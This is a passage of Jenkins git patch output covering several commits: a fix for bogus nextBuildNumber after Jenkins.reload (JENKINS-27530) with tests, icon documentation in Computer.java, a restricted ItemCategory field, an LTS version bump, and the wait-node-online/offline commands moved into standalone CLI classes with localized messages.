layout updates - function refreshCM() { - codemirror.refresh(); + Element.on(e.up('form'),"jenkins:apply", function() { + e.value = codemirror.getValue() + }) } - layoutUpdateCallback.add(refreshCM); }); Behaviour.specify("DIV.textarea-preview-container", 'textarea', 100, function (e) { -- GitLab From 19e1dd9944c2703abbf0d187b3f67817a6934143 Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Thu, 7 Jul 2016 20:50:54 -0400 Subject: [PATCH 103/811] [FIXED JENKINS-27530] Jenkins.reload must also reload the Queue to ensure that every Queue.Item.task corresponds to a live Job, lest nextBuildNumber be bogus. (cherry picked from commit 12fd3e47e393fb1942cd5cb29766bcefe62a81f8) --- core/src/main/java/hudson/model/Job.java | 30 ++++++---------- core/src/main/java/hudson/model/Queue.java | 12 ++++++- core/src/main/java/hudson/model/RunMap.java | 2 +- core/src/main/java/jenkins/model/Jenkins.java | 6 ++-- .../model/lazy/AbstractLazyLoadRunMap.java | 12 +++++-- .../jenkins/model/lazy/LazyBuildMixIn.java | 9 +++++ .../jenkins/model/lazy/SortedIntList.java | 4 +++ .../jenkins/model/lazy/SortedIntListTest.java | 11 ++++++ .../test/java/hudson/model/RunMapTest.java | 36 +++++++++++++++++++ 9 files changed, 97 insertions(+), 25 deletions(-) diff --git a/core/src/main/java/hudson/model/Job.java b/core/src/main/java/hudson/model/Job.java index 69cc02708e..1d2b353eea 100644 --- a/core/src/main/java/hudson/model/Job.java +++ b/core/src/main/java/hudson/model/Job.java @@ -23,8 +23,6 @@ */ package hudson.model; -import com.google.common.base.Function; -import com.google.common.collect.Collections2; import com.infradna.tool.bridge_method_injector.WithBridgeMethods; import hudson.BulkChange; @@ -126,6 +124,8 @@ import org.kohsuke.accmod.restrictions.NoExternalUse; public abstract class Job, RunT extends Run> extends AbstractItem implements ExtensionPoint, StaplerOverridable, ModelObjectWithChildren, OnMaster { + private static final Logger LOGGER = Logger.getLogger(Job.class.getName()); + /** * Next build number. Kept in a separate file because this is the only * information that gets updated often. This allows the rest of the @@ -206,24 +206,16 @@ public abstract class Job, RunT extends Run foldersInt = Collections2.transform(Arrays.asList(folders), new Function() { - public Integer apply(File file) { - return Integer.parseInt(file.getName()); - } - }); - this.nextBuildNumber = Collections.max(foldersInt) + 1; + RunT lB = getLastBuild(); + synchronized (this) { + this.nextBuildNumber = lB != null ? lB.getNumber() + 1 : 1; + } + saveNextBuildNumber(); } - saveNextBuildNumber(); } } else { // From the old Hudson, or doCreateItem. Create this file now. @@ -1250,7 +1242,7 @@ public abstract class Job, RunT extends Run parked = new HashMap(); @@ -2803,6 +2808,11 @@ public class Queue extends ResourceController implements Saveable { this.buildables = new ArrayList(buildables); this.pendings = new ArrayList(pendings); } + + @Override + public String toString() { + return "Queue.Snapshot{waitingList=" + waitingList + ";blockedProjects=" + blockedProjects + ";buildables=" + buildables + ";pendings=" + pendings + "}"; + } } private static class LockedRunnable implements Runnable { diff --git a/core/src/main/java/hudson/model/RunMap.java b/core/src/main/java/hudson/model/RunMap.java index 3142dc7643..33322839cc 100644 --- a/core/src/main/java/hudson/model/RunMap.java +++ b/core/src/main/java/hudson/model/RunMap.java @@ -185,7 +185,7 @@ public final class RunMap> extends AbstractLazyLoadRunMap // Defense against JENKINS-23152 and its ilk. File rootDir = r.getRootDir(); if (rootDir.isDirectory()) { - throw new IllegalStateException(rootDir + " already existed; will not overwrite with " + r); + throw new IllegalStateException("JENKINS-23152: " + rootDir + " already existed; will not overwrite with " + r); } if (!r.getClass().getName().equals("hudson.matrix.MatrixRun")) { // JENKINS-26739: grandfathered in proposeNewNumber(r.getNumber()); diff --git a/core/src/main/java/jenkins/model/Jenkins.java b/core/src/main/java/jenkins/model/Jenkins.java index 3c298d44f6..61f22a4f90 100644 --- a/core/src/main/java/jenkins/model/Jenkins.java +++ b/core/src/main/java/jenkins/model/Jenkins.java @@ -44,7 +44,6 @@ import hudson.FilePath; import hudson.Functions; import hudson.Launcher; import hudson.Launcher.LocalLauncher; -import hudson.LocalPluginManager; import hudson.Lookup; import hudson.Main; import hudson.Plugin; @@ -239,7 +238,6 @@ import org.kohsuke.accmod.Restricted; import org.kohsuke.accmod.restrictions.NoExternalUse; import org.kohsuke.args4j.Argument; import org.kohsuke.args4j.Option; -import org.kohsuke.stapler.DataBoundSetter; import org.kohsuke.stapler.HttpRedirect; import org.kohsuke.stapler.HttpResponse; import org.kohsuke.stapler.HttpResponses; @@ -311,6 +309,7 @@ import java.util.logging.Logger; import static hudson.Util.*; import static hudson.init.InitMilestone.*; +import hudson.init.Initializer; import hudson.util.LogTaskListener; import static java.util.logging.Level.*; import static javax.servlet.http.HttpServletResponse.*; @@ -3714,10 +3713,13 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve /** * Reloads the configuration synchronously. + * Beware that this calls neither {@link ItemListener#onLoaded} nor {@link Initializer}s. */ public void reload() throws IOException, InterruptedException, ReactorException { + queue.save(); executeReactor(null, loadTasks()); User.reload(); + queue.load(); servletContext.setAttribute("app", this); } diff --git a/core/src/main/java/jenkins/model/lazy/AbstractLazyLoadRunMap.java b/core/src/main/java/jenkins/model/lazy/AbstractLazyLoadRunMap.java index 25ac5f4dfc..46bd2be841 100644 --- a/core/src/main/java/jenkins/model/lazy/AbstractLazyLoadRunMap.java +++ b/core/src/main/java/jenkins/model/lazy/AbstractLazyLoadRunMap.java @@ -368,9 +368,17 @@ public abstract class AbstractLazyLoadRunMap extends AbstractMap i } } + /** + * @return the highest recorded build number, or 0 if there are none + */ + @Restricted(NoExternalUse.class) + public synchronized int maxNumberOnDisk() { + return numberOnDisk.max(); + } + protected final synchronized void proposeNewNumber(int number) throws IllegalStateException { - if (numberOnDisk.isInRange(numberOnDisk.ceil(number))) { - throw new IllegalStateException("cannot create a build with number " + number + " since that (or higher) is already in use among " + numberOnDisk); + if (number <= maxNumberOnDisk()) { + throw new IllegalStateException("JENKINS-27530: cannot create a build with number " + number + " since that (or higher) is already in use among " + numberOnDisk); } } diff --git a/core/src/main/java/jenkins/model/lazy/LazyBuildMixIn.java b/core/src/main/java/jenkins/model/lazy/LazyBuildMixIn.java index b206035c38..6778edf7b2 100644 --- a/core/src/main/java/jenkins/model/lazy/LazyBuildMixIn.java +++ b/core/src/main/java/jenkins/model/lazy/LazyBuildMixIn.java @@ -25,6 +25,7 @@ package jenkins.model.lazy; import hudson.Extension; +import hudson.model.AbstractItem; import hudson.model.Item; import hudson.model.ItemGroup; import hudson.model.Job; @@ -32,6 +33,7 @@ import hudson.model.Queue; import hudson.model.Run; import hudson.model.RunMap; import hudson.model.listeners.ItemListener; +import hudson.model.queue.SubTask; import hudson.widgets.BuildHistoryWidget; import hudson.widgets.HistoryWidget; import java.io.File; @@ -100,6 +102,12 @@ public abstract class LazyBuildMixIn & Queue.Task & @SuppressWarnings("unchecked") public void onLoad(ItemGroup parent, String name) throws IOException { RunMap _builds = createBuildRunMap(); + int max = _builds.maxNumberOnDisk(); + int next = asJob().getNextBuildNumber(); + if (next <= max) { + LOGGER.log(Level.WARNING, "JENKINS-27530: improper nextBuildNumber {0} detected in {1} with highest build number {2}; adjusting", new Object[] {next, asJob(), max}); + asJob().updateNextBuildNumber(max + 1); + } RunMap currentBuilds = this.builds; if (parent != null) { // are we overwriting what currently exist? @@ -121,6 +129,7 @@ public abstract class LazyBuildMixIn & Queue.Task & if (r.isBuilding()) { // Do not use RunMap.put(Run): _builds.put(r.getNumber(), r); + LOGGER.log(Level.FINE, "keeping reloaded {0}", r); } } } diff --git a/core/src/main/java/jenkins/model/lazy/SortedIntList.java b/core/src/main/java/jenkins/model/lazy/SortedIntList.java index 27933fd47e..24f0835f7a 100644 --- a/core/src/main/java/jenkins/model/lazy/SortedIntList.java +++ b/core/src/main/java/jenkins/model/lazy/SortedIntList.java @@ -83,6 +83,10 @@ class SortedIntList extends AbstractList { return size; } + public int max() { + return size > 0 ? data[size - 1] : 0; + } + @Override public boolean add(Integer i) { return add(i.intValue()); diff --git a/core/src/test/java/jenkins/model/lazy/SortedIntListTest.java b/core/src/test/java/jenkins/model/lazy/SortedIntListTest.java index 2146852a5f..9748aeaa18 100644 --- a/core/src/test/java/jenkins/model/lazy/SortedIntListTest.java +++ b/core/src/test/java/jenkins/model/lazy/SortedIntListTest.java @@ -34,4 +34,15 @@ public class SortedIntListTest { assertFalse(l.isInRange(3)); } + @Test public void max() { + SortedIntList l = new SortedIntList(5); + assertEquals(0, l.max()); + l.add(1); + assertEquals(1, l.max()); + l.add(5); + assertEquals(5, l.max()); + l.add(10); + assertEquals(10, l.max()); + } + } diff --git a/test/src/test/java/hudson/model/RunMapTest.java b/test/src/test/java/hudson/model/RunMapTest.java index 13d49dcd60..3d555f2691 100644 --- a/test/src/test/java/hudson/model/RunMapTest.java +++ b/test/src/test/java/hudson/model/RunMapTest.java @@ -1,5 +1,6 @@ package hudson.model; +import hudson.model.queue.QueueTaskFuture; import javax.xml.transform.Source; import javax.xml.transform.stream.StreamSource; import static org.junit.Assert.*; @@ -12,6 +13,7 @@ import org.jvnet.hudson.test.SleepBuilder; public class RunMapTest { @Rule public JenkinsRule r = new JenkinsRule(); + // TODO https://github.com/jenkinsci/jenkins/pull/2438: @Rule public LoggerRule logs = new LoggerRule(); /** * Makes sure that reloading the project while a build is in progress won't clobber that in-progress build. @@ -42,6 +44,40 @@ public class RunMapTest { assertSame(b2.getPreviousBuild(), b1); } + @Issue("JENKINS-27530") + @Test public void reloadWhileBuildIsInQueue() throws Exception { + //logs.record(Queue.class, Level.FINE); + FreeStyleProject p = r.createFreeStyleProject("p"); + p.getBuildersList().add(new SleepBuilder(9999999)); + r.jenkins.setNumExecutors(1); + assertEquals(1, p.scheduleBuild2(0).waitForStart().number); + p.scheduleBuild2(0); + // Note that the bug does not reproduce simply from p.doReload(), since in that case Job identity remains intact: + r.jenkins.reload(); + p = r.jenkins.getItemByFullName("p", FreeStyleProject.class); + FreeStyleBuild b1 = p.getLastBuild(); + assertEquals(1, b1.getNumber()); + /* Currently fails since Run.project is final. But anyway that is not the problem: + assertEquals(p, b1.getParent()); + */ + Queue.Item[] items = Queue.getInstance().getItems(); + assertEquals(1, items.length); + assertEquals(p, items[0].task); // the real issue: assignBuildNumber was being called on the wrong Job + QueueTaskFuture b2f = items[0].getFuture(); + b1.getExecutor().interrupt(); + r.assertBuildStatus(Result.ABORTED, r.waitForCompletion(b1)); + FreeStyleBuild b2 = (FreeStyleBuild) b2f.waitForStart(); + assertEquals(2, b2.getNumber()); + assertEquals(p, b2.getParent()); + b2.getExecutor().interrupt(); + r.assertBuildStatus(Result.ABORTED, r.waitForCompletion(b2)); + FreeStyleBuild b3 = p.scheduleBuild2(0).waitForStart(); + assertEquals(3, b3.getNumber()); + assertEquals(p, b3.getParent()); + b3.getExecutor().interrupt(); + r.assertBuildStatus(Result.ABORTED, r.waitForCompletion(b3)); + } + /** * Testing if the lazy loading can gracefully tolerate a RuntimeException during unmarshalling. */ -- GitLab From a06c2a4b1141ea5e101399629f78a318eda58180 Mon Sep 17 00:00:00 2001 From: Sebastien Guillemot Date: Wed, 20 Jul 2016 13:29:38 -0700 Subject: [PATCH 104/811] [FIXED JENKINS-36775] - No longer hard-code the icon for the executor panel (#2464) * no longer hard-code the icon for the executor panel [FIXED JENKINS-36775] * add documentation to Computer.java for custom icons * add recommended implementation to the javadoc --- core/src/main/java/hudson/model/Computer.java | 20 +++++++++++++++++++ .../main/resources/lib/hudson/executors.jelly | 2 +- 2 files changed, 21 insertions(+), 1 deletion(-) diff --git a/core/src/main/java/hudson/model/Computer.java b/core/src/main/java/hudson/model/Computer.java index 7db02878ae..bbdb5be498 100644 --- a/core/src/main/java/hudson/model/Computer.java +++ b/core/src/main/java/hudson/model/Computer.java @@ -68,6 +68,8 @@ import jenkins.model.Jenkins; import jenkins.util.ContextResettingExecutorService; import jenkins.security.MasterToSlaveCallable; +import org.jenkins.ui.icon.Icon; +import org.jenkins.ui.icon.IconSet; import org.kohsuke.accmod.Restricted; import org.kohsuke.accmod.restrictions.DoNotUse; import org.kohsuke.accmod.restrictions.NoExternalUse; @@ -721,6 +723,13 @@ public /*transient*/ abstract class Computer extends Actionable implements Acces } } + /** + * Returns the icon for this computer. + * + * It is both the recommended and default implementation to serve different icons based on {@link #isOffline} + * + * @see #getIconClassName() + */ @Exported public String getIcon() { if(isOffline()) @@ -729,6 +738,17 @@ public /*transient*/ abstract class Computer extends Actionable implements Acces return "computer.png"; } + /** + * Returns the class name that will be used to lookup the icon. + * + * This class name will be added as a class tag to the html img tags where the icon should + * show up followed by a size specifier given by {@link Icon#toNormalizedIconSizeClass(String)} + * The conversion of class tag to src tag is registered through {@link IconSet#addIcon(Icon)} + * + * It is both the recommended and default implementation to serve different icons based on {@link #isOffline} + * + * @see #getIcon() + */ @Exported public String getIconClassName() { if(isOffline()) diff --git a/core/src/main/resources/lib/hudson/executors.jelly b/core/src/main/resources/lib/hudson/executors.jelly index 125cb61922..99c4c5b77e 100644 --- a/core/src/main/resources/lib/hudson/executors.jelly +++ b/core/src/main/resources/lib/hudson/executors.jelly @@ -34,7 +34,7 @@ THE SOFTWARE. - ${title} + ${title} (${%offline}) (${%suspended}) -- GitLab From 7fceddcd5a9b4f80329e5ce5e7db501d691ae9f4 Mon Sep 17 00:00:00 2001 From: Oleg Nenashev Date: Fri, 15 Jul 2016 16:50:50 +0400 Subject: [PATCH 105/811] [FIXED JENKINS-36593] - Make ItemCategory#MIN_TOSHOW restricted (#2449) * [JENKINS-36593] - ItemCategory#MIN_TOSHOW should be restricted * [JENKINS-36593] - Add Javadoc (cherry picked from commit 4577cf6ae14fffd701fb10fa674690b305fd8b06) --- .../java/jenkins/model/item_category/ItemCategory.java | 9 +++++++++ 1 file changed, 9 insertions(+) diff --git a/core/src/main/java/jenkins/model/item_category/ItemCategory.java b/core/src/main/java/jenkins/model/item_category/ItemCategory.java index 7078a86377..6efdefd2f8 100644 --- a/core/src/main/java/jenkins/model/item_category/ItemCategory.java +++ b/core/src/main/java/jenkins/model/item_category/ItemCategory.java @@ -30,6 +30,8 @@ import hudson.ExtensionPoint; import hudson.model.TopLevelItemDescriptor; import javax.annotation.Nonnull; +import org.kohsuke.accmod.Restricted; +import org.kohsuke.accmod.restrictions.NoExternalUse; /** * A category for {@link hudson.model.Item}s. @@ -38,6 +40,13 @@ import javax.annotation.Nonnull; */ public abstract class ItemCategory implements ExtensionPoint { + /** + * This field indicates how much non-default categories are required in + * order to start showing them in Jenkins. + * This field is restricted for the internal use only, because all other changes would cause binary compatibility issues. + * See JENKINS-36593 for more info. + */ + @Restricted(NoExternalUse.class) public static int MIN_TOSHOW = 1; /** -- GitLab From bfffc410eb654e9b37de0e88f4b616b3f028cb68 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Oliver=20Gond=C5=BEa?= Date: Thu, 21 Jul 2016 12:08:23 +0200 Subject: [PATCH 106/811] Update LTS version number --- pom.xml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pom.xml b/pom.xml index 3f4e45d55e..97fa9a3896 100644 --- a/pom.xml +++ b/pom.xml @@ -33,7 +33,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.7.1 + 2.7.2-SNAPSHOT pom Jenkins main module -- GitLab From cb8e9ec5e96eb6b2903f47917240c8b123e6c197 Mon Sep 17 00:00:00 2001 From: "Ing. Pavel Janousek" Date: Mon, 23 May 2016 08:36:43 +0200 Subject: [PATCH 107/811] [JENKINS-34915] CLI commands wait-node-online/wait-node-offline extracted from core to CLI wait-node-online and wait-node-offline covered by test-cases --- .../hudson/cli/WaitNodeOfflineCommand.java | 51 +++++ .../hudson/cli/WaitNodeOnlineCommand.java | 51 +++++ core/src/main/java/hudson/model/Computer.java | 2 - .../resources/hudson/cli/Messages.properties | 2 + .../hudson/cli/Messages_bg.properties | 4 + .../hudson/cli/Messages_es.properties | 2 + .../hudson/cli/Messages_it.properties | 3 + .../hudson/cli/Messages_ja.properties | 2 + .../hudson/cli/Messages_lt.properties | 2 + .../hudson/cli/Messages_pt_BR.properties | 2 + .../hudson/cli/Messages_zh_TW.properties | 2 + .../hudson/model/Messages.properties | 2 - .../hudson/model/Messages_bg.properties | 4 - .../hudson/model/Messages_es.properties | 2 - .../hudson/model/Messages_it.properties | 4 - .../hudson/model/Messages_ja.properties | 2 - .../hudson/model/Messages_lt.properties | 2 - .../hudson/model/Messages_pt_BR.properties | 4 - .../hudson/model/Messages_zh_TW.properties | 5 - .../cli/WaitNodeOfflineCommandTest.java | 157 +++++++++++++++ .../hudson/cli/WaitNodeOnlineCommandTest.java | 182 ++++++++++++++++++ 21 files changed, 460 insertions(+), 27 deletions(-) create mode 100644 core/src/main/java/hudson/cli/WaitNodeOfflineCommand.java create mode 100644 core/src/main/java/hudson/cli/WaitNodeOnlineCommand.java create mode 100644 test/src/test/java/hudson/cli/WaitNodeOfflineCommandTest.java create mode 100644 test/src/test/java/hudson/cli/WaitNodeOnlineCommandTest.java diff --git a/core/src/main/java/hudson/cli/WaitNodeOfflineCommand.java b/core/src/main/java/hudson/cli/WaitNodeOfflineCommand.java new file mode 100644 index 0000000000..4c1139e484 --- /dev/null +++ b/core/src/main/java/hudson/cli/WaitNodeOfflineCommand.java @@ -0,0 +1,51 @@ +/* + * The MIT License + * + * Copyright (c) 2016, Red Hat, Inc. + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ +package hudson.cli; + +import hudson.Extension; +import hudson.model.Node; +import org.kohsuke.args4j.Argument; + +/** + * @author pjanouse + * @since TODO + */ +@Extension +public class WaitNodeOfflineCommand extends CLICommand { + + @Argument(metaVar="NODE", usage="Name of the node", required=true) + public Node node; + + @Override + public String getShortDescription() { + + return Messages.WaitNodeOfflineCommand_ShortDescription(); + } + + @Override + protected int run() throws Exception { + node.toComputer().waitUntilOffline(); + return 0; + } +} diff --git a/core/src/main/java/hudson/cli/WaitNodeOnlineCommand.java b/core/src/main/java/hudson/cli/WaitNodeOnlineCommand.java new file mode 100644 index 0000000000..10083d8dc6 --- /dev/null +++ b/core/src/main/java/hudson/cli/WaitNodeOnlineCommand.java @@ -0,0 +1,51 @@ +/* + * The MIT License + * + * Copyright (c) 2016, Red Hat, Inc. + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ +package hudson.cli; + +import hudson.Extension; +import hudson.model.Node; +import org.kohsuke.args4j.Argument; + +/** + * @author pjanouse + * @since TODO + */ +@Extension +public class WaitNodeOnlineCommand extends CLICommand { + + @Argument(metaVar="NODE", usage="Name of the node", required=true) + public Node node; + + @Override + public String getShortDescription() { + + return Messages.WaitNodeOnlineCommand_ShortDescription(); + } + + @Override + protected int run() throws Exception { + node.toComputer().waitUntilOnline(); + return 0; + } +} diff --git a/core/src/main/java/hudson/model/Computer.java b/core/src/main/java/hudson/model/Computer.java index bbdb5be498..00f52e197c 100644 --- a/core/src/main/java/hudson/model/Computer.java +++ b/core/src/main/java/hudson/model/Computer.java @@ -1494,7 +1494,6 @@ public /*transient*/ abstract class Computer extends Actionable implements Acces /** * Blocks until the node becomes online/offline. */ - @CLIMethod(name="wait-node-online") public void waitUntilOnline() throws InterruptedException { synchronized (statusChangeLock) { while (!isOnline()) @@ -1502,7 +1501,6 @@ public /*transient*/ abstract class Computer extends Actionable implements Acces } } - @CLIMethod(name="wait-node-offline") public void waitUntilOffline() throws InterruptedException { synchronized (statusChangeLock) { while (!isOffline()) diff --git a/core/src/main/resources/hudson/cli/Messages.properties b/core/src/main/resources/hudson/cli/Messages.properties index 14330684d9..a6ef44d760 100644 --- a/core/src/main/resources/hudson/cli/Messages.properties +++ b/core/src/main/resources/hudson/cli/Messages.properties @@ -91,4 +91,6 @@ DisconnectNodeCommand.ShortDescription=Disconnects from a node. QuietDownCommand.ShortDescription=Quiet down Jenkins, in preparation for a restart. Don\u2019t start any builds. CancelQuietDownCommand.ShortDescription=Cancel the effect of the "quiet-down" command. OfflineNodeCommand.ShortDescription=Stop using a node for performing builds temporarily, until the next "online-node" command. +WaitNodeOnlineCommand.ShortDescription=Wait for a node to become online. +WaitNodeOfflineCommand.ShortDescription=Wait for a node to become offline. diff --git a/core/src/main/resources/hudson/cli/Messages_bg.properties b/core/src/main/resources/hudson/cli/Messages_bg.properties index e2fe289895..52e27ca91c 100644 --- a/core/src/main/resources/hudson/cli/Messages_bg.properties +++ b/core/src/main/resources/hudson/cli/Messages_bg.properties @@ -137,4 +137,8 @@ CancelQuietDownCommand.ShortDescription=\ OfflineNodeCommand.ShortDescription=\ \u0412\u0440\u0435\u043c\u0435\u043d\u043d\u043e \u043f\u0440\u0435\u0443\u0441\u0442\u0430\u043d\u043e\u0432\u044f\u0432\u0430\u043d\u0435 \u043d\u0430 \u043f\u043e\u043b\u0437\u0432\u0430\u043d\u0435\u0442\u043e \u043d\u0430 \u043c\u0430\u0448\u0438\u043d\u0430 \u0437\u0430 \u0438\u0437\u0433\u0440\u0430\u0436\u0434\u0430\u043d\u0438\u044f \u0434\u043e\u043a\u0430\u0442\u043e \u043d\u0435 \u0441\u0435\ \u0432\u044a\u0432\u0435\u0434\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u0430\u0442\u0430 \u201eonline-node\u201c. +WaitNodeOnlineCommand.ShortDescription=\ + \u0418\u0437\u0447\u0430\u043a\u0432\u0430\u043d\u0435 \u043d\u0430 \u043c\u0430\u0448\u0438\u043d\u0430 \u0434\u0430 \u0435 \u043d\u0430 \u043b\u0438\u043d\u0438\u044f. +WaitNodeOfflineCommand.ShortDescription=\ + \u0418\u0437\u0447\u0430\u043a\u0432\u0430\u043d\u0435 \u043d\u0430 \u043c\u0430\u0448\u0438\u043d\u0430 \u0434\u0430 \u043d\u0435 \u0435 \u043d\u0430 \u043b\u0438\u043d\u0438\u044f. diff --git a/core/src/main/resources/hudson/cli/Messages_es.properties b/core/src/main/resources/hudson/cli/Messages_es.properties index 31f6ba1279..11525579ca 100644 --- a/core/src/main/resources/hudson/cli/Messages_es.properties +++ b/core/src/main/resources/hudson/cli/Messages_es.properties @@ -57,4 +57,6 @@ DisconnectNodeCommand.ShortDescription=Desconectarse de un nodo QuietDownCommand.ShortDescription=Poner Jenkins en modo quieto y estar preparado para un reinicio. No comenzar ninguna ejecuci\u00f3n. CancelQuietDownCommand.ShortDescription=Cancelar el efecto del comando "quiet-down". OfflineNodeCommand.ShortDescription=Dejar de utilizar un nodo temporalmente hasta que se ejecute el comando "online-node". +WaitNodeOnlineCommand.ShortDescription=Esperando hasta que el nodo est activado +WaitNodeOfflineCommand.ShortDescription=Esperando a que el nodo est desactivado diff --git a/core/src/main/resources/hudson/cli/Messages_it.properties b/core/src/main/resources/hudson/cli/Messages_it.properties index 195737cade..ca09f191df 100644 --- a/core/src/main/resources/hudson/cli/Messages_it.properties +++ b/core/src/main/resources/hudson/cli/Messages_it.properties @@ -5,3 +5,6 @@ ClearQueueCommand.ShortDescription=Pulisce la coda di lavoro ReloadConfigurationCommand.ShortDescription=Discard all the loaded data in memory and reload everything from file system. Useful when you modified config files directly on disk. ConnectNodeCommand.ShortDescription=Riconnettersi ad un nodo OfflineNodeCommand.ShortDescription=Stop using a node for performing builds temporarily, until the next "online-node" command. +WaitNodeOnlineCommand.ShortDescription=Attende che il nodo sia attivo +WaitNodeOfflineCommand.ShortDescription=Attende che un nodo sia disattivo + diff --git a/core/src/main/resources/hudson/cli/Messages_ja.properties b/core/src/main/resources/hudson/cli/Messages_ja.properties index 0e7f20e2d6..fb1ddd6860 100644 --- a/core/src/main/resources/hudson/cli/Messages_ja.properties +++ b/core/src/main/resources/hudson/cli/Messages_ja.properties @@ -79,4 +79,6 @@ DisconnectNodeCommand.ShortDescription=\u30ce\u30fc\u30c9\u3068\u306e\u63a5\u7d9 QuietDownCommand.ShortDescription=Jenkins\u306f\u518d\u8d77\u52d5\u306b\u5411\u3051\u3066\u7d42\u4e86\u51e6\u7406\u3092\u5b9f\u65bd\u4e2d\u3067\u3059\u3002\u30d3\u30eb\u30c9\u3092\u958b\u59cb\u3057\u306a\u3044\u3067\u304f\u3060\u3055\u3044\u3002 CancelQuietDownCommand.ShortDescription="quiet-down"\u30b3\u30de\u30f3\u30c9\u306e\u51e6\u7406\u3092\u30ad\u30e3\u30f3\u30bb\u30eb\u3057\u307e\u3059\u3002 OfflineNodeCommand.ShortDescription="online-node"\u30b3\u30de\u30f3\u30c9\u304c\u5b9f\u884c\u3055\u308c\u308b\u307e\u3067\u3001\u30d3\u30eb\u30c9\u3092\u5b9f\u884c\u3059\u308b\u30ce\u30fc\u30c9\u306e\u4f7f\u7528\u3092\u4e00\u6642\u7684\u306b\u505c\u6b62\u3057\u307e\u3059\u3002 +WaitNodeOnlineCommand.ShortDescription=\u30ce\u30fc\u30c9\u304c\u30aa\u30f3\u30e9\u30a4\u30f3\u306b\u306a\u308b\u306e\u3092\u5f85\u3061\u307e\u3059\u3002 +WaitNodeOfflineCommand.ShortDescription=\u30ce\u30fc\u30c9\u304c\u30aa\u30d5\u30e9\u30a4\u30f3\u306b\u306a\u308b\u306e\u3092\u5f85\u3061\u307e\u3059\u3002 diff --git a/core/src/main/resources/hudson/cli/Messages_lt.properties b/core/src/main/resources/hudson/cli/Messages_lt.properties index ce8a4e6b28..f83756b5ab 100644 --- a/core/src/main/resources/hudson/cli/Messages_lt.properties +++ b/core/src/main/resources/hudson/cli/Messages_lt.properties @@ -90,4 +90,6 @@ DisconnectNodeCommand.ShortDescription=Atsijungia nuo mazgo. QuietDownCommand.ShortDescription=Tyliai nuleisti Jenkins\u0105, pasiruo\u0161iant paleidimui i\u0161 naujo. Neprad\u0117ti joki\u0173 vykdym\u0173. CancelQuietDownCommand.ShortDescription=Nutraukti \u201etylaus i\u0161jungimo\u201c komandos efekt\u0105. OfflineNodeCommand.ShortDescription=Laikinai nebenaudoti mazgo darb\u0173 vykdymui, kol bus \u012fvykdyta kita \u201emazgas \u012fjungtas\u201c komanda. +WaitNodeOnlineCommand.ShortDescription=Laukti, kol mazgas prisijungs. +WaitNodeOfflineCommand.ShortDescription=Laukti, kol mazgas atsijungs. diff --git a/core/src/main/resources/hudson/cli/Messages_pt_BR.properties b/core/src/main/resources/hudson/cli/Messages_pt_BR.properties index 7c47e2fc3d..7965b0b7e1 100644 --- a/core/src/main/resources/hudson/cli/Messages_pt_BR.properties +++ b/core/src/main/resources/hudson/cli/Messages_pt_BR.properties @@ -125,4 +125,6 @@ DisconnectNodeCommand.ShortDescription=Desconectar do n\u00f3 QuietDownCommand.ShortDescription=Desativar em modo silencioso, em prepara\u00e7\u00e3o para o rein\u00edcio. N\u00e3o come\u00e7e nenhum build. CancelQuietDownCommand.ShortDescription=Cancela o comando "quiet-down" OfflineNodeCommand.ShortDescription=Temporariamente n\u00e3o usando um n\u00f3 para os builds. Aguardando o pr\u00f3ximo comando de modo-online +WaitNodeOnlineCommand.ShortDescription=Aguarda por um n\u00f3 que se torne online +WaitNodeOfflineCommand.ShortDescription=Aguarde por um n\u00f3 ficar offline. diff --git a/core/src/main/resources/hudson/cli/Messages_zh_TW.properties b/core/src/main/resources/hudson/cli/Messages_zh_TW.properties index bd85c6bce1..b2e5746b7a 100644 --- a/core/src/main/resources/hudson/cli/Messages_zh_TW.properties +++ b/core/src/main/resources/hudson/cli/Messages_zh_TW.properties @@ -82,4 +82,6 @@ ConnectNodeCommand.ShortDescription=\u9023\u7dda\u5230\u6307\u5b9a\u7bc0\u9ede\u QuietDownCommand.ShortDescription=\u8b93 Jenkins \u6c89\u6fb1\u4e00\u4e0b\uff0c\u6e96\u5099\u91cd\u65b0\u555f\u52d5\u3002\u5148\u4e0d\u8981\u518d\u5efa\u7f6e\u4efb\u4f55\u4f5c\u696d\u3002 CancelQuietDownCommand.ShortDescription=\u53d6\u6d88 "quiet-down" \u6307\u4ee4\u3002 